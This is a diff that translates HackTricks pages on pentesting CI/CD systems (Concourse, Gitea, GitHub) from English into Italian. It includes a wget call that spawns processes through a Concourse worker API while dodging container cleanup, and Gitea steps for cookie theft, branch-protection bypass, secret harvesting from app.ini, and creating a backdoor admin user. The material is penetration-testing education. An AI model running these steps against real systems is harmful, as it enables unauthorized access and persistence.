wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-
-However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
-
+Tuttavia, il server web controlla ogni pochi secondi i container in esecuzione e, se ne viene scoperto uno inaspettato, verrà eliminato. Poiché la comunicazione avviene in HTTP, potresti manomettere la comunicazione per evitare l'eliminazione di container inaspettati:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
-
-## References
+## Riferimenti
- https://concourse-ci.org/vars.html
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 0cc6363a7..4b73f32b1 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -1,26 +1,23 @@
-# Concourse Lab Creation
+# Creazione del Laboratorio Concourse
{{#include ../../banners/hacktricks-training.md}}
-## Testing Environment
+## Ambiente di Test
-### Running Concourse
+### Esecuzione di Concourse
-#### With Docker-Compose
-
-This docker-compose file simplifies the installation to do some tests with concourse:
+#### Con Docker-Compose
+Questo file docker-compose semplifica l'installazione per eseguire alcuni test con concourse:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
+Puoi scaricare la riga di comando `fly` per il tuo sistema operativo dal web in `127.0.0.1:8080`
-You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
-
-#### With Kubernetes (Recommended)
-
-You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+#### Con Kubernetes (Consigliato)
+Puoi facilmente distribuire concourse in **Kubernetes** (in **minikube** ad esempio) utilizzando il helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-
-After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
-
+Dopo aver generato l'ambiente concourse, puoi generare un segreto e dare accesso al SA in esecuzione nel concourse web per accedere ai segreti K8s:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
- name: read-secrets
+name: read-secrets
rules:
- apiGroups: [""]
- resources: ["secrets"]
- verbs: ["get"]
+resources: ["secrets"]
+verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
- name: read-secrets-concourse
+name: read-secrets-concourse
roleRef:
- apiGroup: rbac.authorization.k8s.io
- kind: ClusterRole
- name: read-secrets
+apiGroup: rbac.authorization.k8s.io
+kind: ClusterRole
+name: read-secrets
subjects:
- kind: ServiceAccount
- name: concourse-release-web
- namespace: default
+name: concourse-release-web
+namespace: default
---
apiVersion: v1
kind: Secret
metadata:
- name: super
- namespace: concourse-release-main
+name: super
+namespace: concourse-release-main
type: Opaque
data:
- secret: MWYyZDFlMmU2N2Rm
+secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
+### Crea Pipeline
-### Create Pipeline
-
-A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
+Un pipeline è composto da un elenco di [Jobs](https://concourse-ci.org/jobs.html) che contiene un elenco ordinato di [Steps](https://concourse-ci.org/steps.html).
### Steps
-Several different type of steps can be used:
+Possono essere utilizzati diversi tipi di passi:
-- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
-- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
-- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
-- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
-- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
-- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
-- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
-- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
-- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
+- **il** [**`task` step**](https://concourse-ci.org/task-step.html) **esegue un** [**task**](https://concourse-ci.org/tasks.html)
+- il [`get` step](https://concourse-ci.org/get-step.html) recupera una [resource](https://concourse-ci.org/resources.html)
+- il [`put` step](https://concourse-ci.org/put-step.html) aggiorna una [resource](https://concourse-ci.org/resources.html)
+- il [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura un [pipeline](https://concourse-ci.org/pipelines.html)
+- il [`load_var` step](https://concourse-ci.org/load-var-step.html) carica un valore in una [local var](https://concourse-ci.org/vars.html#local-vars)
+- il [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) esegue i passi in parallelo
+- il [`do` step](https://concourse-ci.org/do-step.html) esegue i passi in sequenza
+- il [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) esegue un passo più volte; una volta per ogni combinazione di valori delle variabili
+- il [`try` step](https://concourse-ci.org/try-step.html) tenta di eseguire un passo e ha successo anche se il passo fallisce
-Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
+Ogni [step](https://concourse-ci.org/steps.html) in un [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) viene eseguito nel **proprio container**. Puoi eseguire qualsiasi cosa tu voglia all'interno del container _(cioè eseguire i miei test, eseguire questo script bash, costruire questa immagine, ecc.)_. Quindi, se hai un job con cinque passi, Concourse creerà cinque container, uno per ogni passo.
-Therefore, it's possible to indicate the type of container each step needs to be run in.
-
-### Simple Pipeline Example
+Pertanto, è possibile indicare il tipo di container in cui ogni passo deve essere eseguito.
+### Esempio di Pipeline Semplice
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- sleep 1000
- echo "$SUPER_SECRET"
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+sleep 1000
+echo "$SUPER_SECRET"
+params:
+SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
+Controlla **127.0.0.1:8080** per vedere il flusso della pipeline.
-Check **127.0.0.1:8080** to see the pipeline flow.
+### Script Bash con pipeline di output/input
-### Bash script with output/input pipeline
+È possibile **salvare i risultati di un'attività in un file** e indicare che è un output e poi indicare l'input della successiva attività come l'output della precedente attività. Quello che fa concourse è **montare la directory della precedente attività nella nuova attività dove puoi accedere ai file creati dalla precedente attività**.
-It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
+### Trigger
-### Triggers
+Non è necessario attivare manualmente i lavori ogni volta che devi eseguirli, puoi anche programmarli per essere eseguiti ogni volta:
-You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
+- Passa del tempo: [Time resource](https://github.com/concourse/time-resource/)
+- Su nuovi commit nel ramo principale: [Git resource](https://github.com/concourse/git-resource)
+- Nuovi PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
+- Recupera o invia l'ultima immagine della tua app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
-- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
-- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-
-Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+Controlla un esempio di pipeline YAML che si attiva su nuovi commit nel master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index bf4f6485a..090d47277 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
-## What is Gitea
+## Cos'è Gitea
-**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
+**Gitea** è una soluzione di **hosting di codice leggero gestita dalla comunità e self-hosted** scritta in Go.
.png>)
-### Basic Information
+### Informazioni di base
{{#ref}}
basic-gitea-information.md
@@ -16,127 +16,115 @@ basic-gitea-information.md
## Lab
-To run a Gitea instance locally you can just run a docker container:
-
+Per eseguire un'istanza di Gitea localmente, puoi semplicemente eseguire un container docker:
```bash
docker run -p 3000:3000 gitea/gitea
```
+Connettiti alla porta 3000 per accedere alla pagina web.
-Connect to port 3000 to access the web page.
-
-You could also run it with kubernetes:
-
+Puoi anche eseguirlo con kubernetes:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
+## Enumerazione non autenticata
-## Unauthenticated Enumeration
+- Repos pubblici: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
+- Utenti registrati: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
+- Organizzazioni registrate: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
-- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
-- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
+Nota che per **default Gitea consente a nuovi utenti di registrarsi**. Questo non darà accesso particolarmente interessante ai nuovi utenti su altri repos di organizzazioni/utenti, ma un **utente autenticato** potrebbe essere in grado di **visualizzare più repos o organizzazioni**.
-Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
+## Sfruttamento Interno
-## Internal Exploitation
+Per questo scenario supponiamo che tu abbia ottenuto accesso a un account github.
-For this scenario we are going to suppose that you have obtained some access to a github account.
+### Con Credenziali Utente/Cookie Web
-### With User Credentials/Web Cookie
+Se in qualche modo hai già le credenziali per un utente all'interno di un'organizzazione (o hai rubato un cookie di sessione) puoi **semplicemente accedere** e controllare quali **permessi hai** su quali **repos,** in **quali team** sei, **elencare altri utenti**, e **come sono protetti i repos.**
-If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
-
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+Nota che **2FA potrebbe essere utilizzato** quindi potrai accedere a queste informazioni solo se riesci anche a **superare quel controllo**.
> [!NOTE]
-> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Nota che se riesci a **rubare il cookie `i_like_gitea`** (attualmente configurato con SameSite: Lax) puoi **completamente impersonare l'utente** senza bisogno di credenziali o 2FA.
-### With User SSH Key
+### Con Chiave SSH Utente
-Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
+Gitea consente agli **utenti** di impostare **chiavi SSH** che verranno utilizzate come **metodo di autenticazione per distribuire codice** per loro conto (non viene applicata 2FA).
+Con questa chiave puoi effettuare **modifiche nei repository dove l'utente ha alcuni privilegi**, tuttavia non puoi usarla per accedere all'api di gitea per enumerare l'ambiente. Tuttavia, puoi **enumerare le impostazioni locali** per ottenere informazioni sui repos e sugli utenti a cui hai accesso:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+Se l'utente ha configurato il proprio nome utente come il suo nome utente gitea, puoi accedere alle **chiavi pubbliche che ha impostato** nel suo account in _https://github.com/\.keys_, puoi controllare questo per confermare che la chiave privata che hai trovato può essere utilizzata.
-If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**Le chiavi SSH** possono anche essere impostate nei repository come **chiavi di distribuzione**. Chiunque abbia accesso a questa chiave sarà in grado di **lanciare progetti da un repository**. Di solito, in un server con diverse chiavi di distribuzione, il file locale **`~/.ssh/config`** ti darà informazioni su quale chiave è correlata.
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### Chiavi GPG
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Come spiegato [**qui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), a volte è necessario firmare i commit o potresti essere scoperto.
+Controlla localmente se l'utente corrente ha qualche chiave con:
```shell
gpg --list-secret-keys --keyid-format=long
```
+### Con Token Utente
-### With User Token
+Per un'introduzione sui [**Token Utente controlla le informazioni di base**](basic-gitea-information.md#personal-access-tokens).
-For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
+Un token utente può essere utilizzato **invece di una password** per **autenticarsi** contro il server Gitea [**via API**](https://try.gitea.io/api/swagger#/). avrà **accesso completo** sull'utente.
-A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
+### Con Applicazione Oauth
-### With Oauth Application
+Per un'introduzione sulle [**Applicazioni Oauth di Gitea controlla le informazioni di base**](./#with-oauth-application).
-For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
+Un attaccante potrebbe creare un'**Applicazione Oauth malevola** per accedere a dati/azioni privilegiati degli utenti che le accettano probabilmente come parte di una campagna di phishing.
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Come spiegato nelle informazioni di base, l'applicazione avrà **accesso completo all'account utente**.
-As explained in the basic information, the application will have **full access over the user account**.
+### Bypass della Protezione dei Branch
-### Branch Protection Bypass
+In Github abbiamo le **github actions** che per impostazione predefinita ottengono un **token con accesso in scrittura** sul repo che può essere utilizzato per **bypassare le protezioni dei branch**. In questo caso che **non esistono**, quindi i bypass sono più limitati. Ma diamo un'occhiata a cosa si può fare:
-In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
+- **Abilita Push**: Se chiunque con accesso in scrittura può pushare sul branch, basta pushare su di esso.
+- **Whitelist Pus**h Riservati: Allo stesso modo, se fai parte di questo elenco push sul branch.
+- **Abilita Merge Whitelist**: Se c'è una whitelist di merge, devi essere all'interno di essa.
+- **Richiedi approvazioni maggiori di 0**: Allora... devi compromettere un altro utente.
+- **Restrizione delle approvazioni agli utenti in whitelist**: Se solo gli utenti in whitelist possono approvare... devi compromettere un altro utente che è all'interno di quell'elenco.
+- **Annulla approvazioni scadute**: Se le approvazioni non vengono rimosse con nuovi commit, potresti dirottare una PR già approvata per iniettare il tuo codice e unire la PR.
-- **Enable Push**: If anyone with write access can push to the branch, just push to it.
-- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
-- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
-- **Require approvals is bigger than 0**: Then... you need to compromise another user
-- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
-- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
+Nota che **se sei un admin di org/repo** puoi bypassare le protezioni.
-Note that **if you are an org/repo admin** you can bypass the protections.
+### Enumerare Webhook
-### Enumerate Webhooks
+**Webhook** sono in grado di **inviare informazioni specifiche di gitea in alcuni luoghi**. Potresti essere in grado di **sfruttare quella comunicazione**.\
+Tuttavia, di solito un **segreto** che non puoi **recuperare** è impostato nel **webhook** che **prevenirà** gli utenti esterni che conoscono l'URL del webhook ma non il segreto di **sfruttare quel webhook**.\
+Ma in alcune occasioni, le persone invece di impostare il **segreto** al suo posto, lo **impostano nell'URL** come parametro, quindi **controllare gli URL** potrebbe permetterti di **trovare segreti** e altri luoghi che potresti sfruttare ulteriormente.
-**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
-However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
-But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
+I webhook possono essere impostati a **livello di repo e di org**.
-Webhooks can be set at **repo and at org level**.
+## Post Sfruttamento
-## Post Exploitation
+### All'interno del server
-### Inside the server
+Se in qualche modo sei riuscito a entrare nel server dove gitea è in esecuzione, dovresti cercare il file di configurazione di gitea. Per impostazione predefinita si trova in `/data/gitea/conf/app.ini`
-If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
+In questo file puoi trovare **chiavi** e **password**.
-In this file you can find **keys** and **passwords**.
+Nel percorso gitea (per impostazione predefinita: /data/gitea) puoi trovare anche informazioni interessanti come:
-In the gitea path (by default: /data/gitea) you can find also interesting information like:
+- Il DB **sqlite**: Se gitea non utilizza un db esterno utilizzerà un db sqlite.
+- Le **sessioni** all'interno della cartella delle sessioni: Eseguendo `cat sessions/*/*/*` puoi vedere i nomi utente degli utenti connessi (gitea potrebbe anche salvare le sessioni all'interno del DB).
+- La **chiave privata jwt** all'interno della cartella jwt.
+- Maggiore **informazione sensibile** potrebbe essere trovata in questa cartella.
-- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
-- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
-- The **jwt private key** inside the jwt folder
-- More **sensitive information** could be found in this folder
+Se sei all'interno del server puoi anche **utilizzare il binario `gitea`** per accedere/modificare informazioni:
-If you are inside the server you can also **use the `gitea` binary** to access/modify information:
-
-- `gitea dump` will dump gitea and generate a .zip file
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
-- `gitea admin user change-password --username admin --password newpassword` Change the password
-- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
+- `gitea dump` eseguirà il dump di gitea e genererà un file .zip.
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` genererà un token del tipo indicato (persistenza).
+- `gitea admin user change-password --username admin --password newpassword` Cambia la password.
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Crea un nuovo utente admin e ottieni un token di accesso.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index e6e4d9ba3..054148147 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -4,104 +4,100 @@
## Basic Structure
-The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
+La struttura di base dell'ambiente Gitea è quella di raggruppare i repo per **organizzazione(i),** ognuna delle quali può contenere **diversi repository** e **diversi team.** Tuttavia, nota che, proprio come in github, gli utenti possono avere repo al di fuori dell'organizzazione.
-Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
+Inoltre, un **utente** può essere un **membro** di **diverse organizzazioni**. All'interno dell'organizzazione, l'utente può avere **diverse autorizzazioni su ciascun repository**.
-A user may also be **part of different teams** with different permissions over different repos.
+Un utente può anche essere **parte di diversi team** con diverse autorizzazioni su diversi repo.
-And finally **repositories may have special protection mechanisms**.
+E infine, **i repository possono avere meccanismi di protezione speciali**.
## Permissions
### Organizations
-When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
+Quando un'**organizzazione viene creata**, viene **creato** un team chiamato **Owners** e l'utente viene inserito al suo interno. Questo team darà **accesso admin** sull'**organizzazione**, tali **autorizzazioni** e il **nome** del team **non possono essere modificati**.
-**Org admins** (owners) can select the **visibility** of the organization:
+**Org admins** (proprietari) possono selezionare la **visibilità** dell'organizzazione:
-- Public
-- Limited (logged in users only)
-- Private (members only)
+- Pubblica
+- Limitata (solo utenti con accesso)
+- Privata (solo membri)
-**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
+**Org admins** possono anche indicare se gli **admin dei repo** possono **aggiungere o rimuovere accesso** per i team. Possono anche indicare il numero massimo di repo.
-When creating a new team, several important settings are selected:
+Quando si crea un nuovo team, vengono selezionate diverse impostazioni importanti:
-- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
-- It's also indicated **if members can create new repos** (creator will get admin access to it)
-- The **permissions** the **members** of the repo will **have**:
- - **Administrator** access
- - **Specific** access:
+- Viene indicato ai **repo dell'org a cui i membri del team potranno accedere**: repo specifici (repo a cui il team è aggiunto) o tutti.
+- Viene anche indicato **se i membri possono creare nuovi repo** (il creatore otterrà accesso admin a esso)
+- Le **autorizzazioni** che i **membri** del repo **avranno**:
+- Accesso **Amministratore**
+- Accesso **Specifico**:
.png>)
### Teams & Users
-In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
+In un repo, l'**org admin** e gli **admin dei repo** (se consentito dall'org) possono **gestire i ruoli** assegnati ai collaboratori (altri utenti) e ai team. Ci sono **3** possibili **ruoli**:
-- Administrator
-- Write
-- Read
+- Amministratore
+- Scrittura
+- Lettura
## Gitea Authentication
### Web Access
-Using **username + password** and potentially (and recommended) a 2FA.
+Utilizzando **nome utente + password** e potenzialmente (e raccomandato) un 2FA.
### **SSH Keys**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+Puoi configurare il tuo account con una o più chiavi pubbliche che consentono alla relativa **chiave privata di eseguire azioni per tuo conto.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Keys**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
+Non **puoi impersonare l'utente con queste chiavi**, ma se non le usi potrebbe essere possibile che tu **venga scoperto per aver inviato commit senza una firma**.
### **Personal Access Tokens**
-You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+Puoi generare un token di accesso personale per **dare a un'applicazione accesso al tuo account**. Un token di accesso personale fornisce accesso completo al tuo account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Applications
-Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
+Proprio come i token di accesso personali, le **applicazioni Oauth** avranno **accesso completo** al tuo account e ai luoghi a cui il tuo account ha accesso perché, come indicato nella [documentazione](https://docs.gitea.io/en-us/oauth2-provider/#scopes), gli scope non sono ancora supportati:
.png>)
### Deploy keys
-Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
+Le chiavi di distribuzione possono avere accesso in sola lettura o in scrittura al repo, quindi potrebbero essere interessanti per compromettere repo specifici.
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Le protezioni dei branch sono progettate per **non dare il controllo completo di un repository** agli utenti. L'obiettivo è **mettere in atto diversi metodi di protezione prima di poter scrivere codice all'interno di un certo branch**.
-The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_
+Le **protezioni dei branch di un repository** possono essere trovate in _https://localhost:3000/\/\/settings/branches_
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> Non è **possibile impostare una protezione del branch a livello di organizzazione**. Quindi tutte devono essere dichiarate su ciascun repo.
-Different protections can be applied to a branch (like to master):
+Diverse protezioni possono essere applicate a un branch (come a master):
-- **Disable Push**: No-one can push to this branch
-- **Enable Push**: Anyone with access can push, but not force push.
-- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
-- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
-- **Enable Status checks:** Require status checks to pass before merging.
-- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
-- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
-- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
-- **Block merge on official review requests**: If there official review requests it cannot be merged
-- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
-- **Require Signed Commits**: Commits must be signed.
+- **Disabilita Push**: Nessuno può pushare su questo branch
+- **Abilita Push**: Chiunque abbia accesso può pushare, ma non forzare il push.
+- **Whitelist Restricted Push**: Solo utenti/team selezionati possono pushare su questo branch (ma non forzare il push)
+- **Abilita Merge Whitelist**: Solo utenti/team in whitelist possono unire PR.
+- **Abilita Status checks:** Richiedi che i controlli di stato passino prima di unire.
+- **Richiedi approvazioni**: Indica il numero di approvazioni richieste prima che una PR possa essere unita.
+- **Restrict approvals to whitelisted**: Indica utenti/team che possono approvare PR.
+- **Block merge on rejected reviews**: Se vengono richieste modifiche, non può essere unita (anche se gli altri controlli passano)
+- **Block merge on official review requests**: Se ci sono richieste di revisione ufficiali, non può essere unita
+- **Dismiss stale approvals**: Quando ci sono nuovi commit, le vecchie approvazioni verranno annullate.
+- **Require Signed Commits**: I commit devono essere firmati.
- **Block merge if pull request is outdated**
-- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
+- **Protected/Unprotected file patterns**: Indica modelli di file da proteggere/non proteggere contro le modifiche
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Come puoi vedere, anche se sei riuscito a ottenere alcune credenziali di un utente, **i repo potrebbero essere protetti impedendoti di pushare codice su master** per esempio per compromettere il pipeline CI/CD.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index cdad12b57..743552f34 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -1,42 +1,42 @@
-# Github Security
+# Sicurezza di Github
{{#include ../../banners/hacktricks-training.md}}
-## What is Github
+## Cos'è Github
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
+(Da [qui](https://kinsta.com/knowledgebase/what-is-github/)) A un livello alto, **GitHub è un sito web e un servizio basato su cloud che aiuta gli sviluppatori a memorizzare e gestire il loro codice, oltre a tracciare e controllare le modifiche al loro codice**.
-### Basic Information
+### Informazioni di base
{{#ref}}
basic-github-information.md
{{#endref}}
-## External Recon
+## Ricognizione esterna
-Github repositories can be configured as public, private and internal.
+I repository di Github possono essere configurati come pubblici, privati e interni.
-- **Private** means that **only** people of the **organisation** will be able to access them
-- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
-- **Public** means that **all internet** is going to be able to access it.
+- **Privato** significa che **solo** le persone dell'**organizzazione** potranno accedervi
+- **Interno** significa che **solo** le persone dell'**impresa** (un'impresa può avere diverse organizzazioni) potranno accedervi
+- **Pubblico** significa che **tutto internet** potrà accedervi.
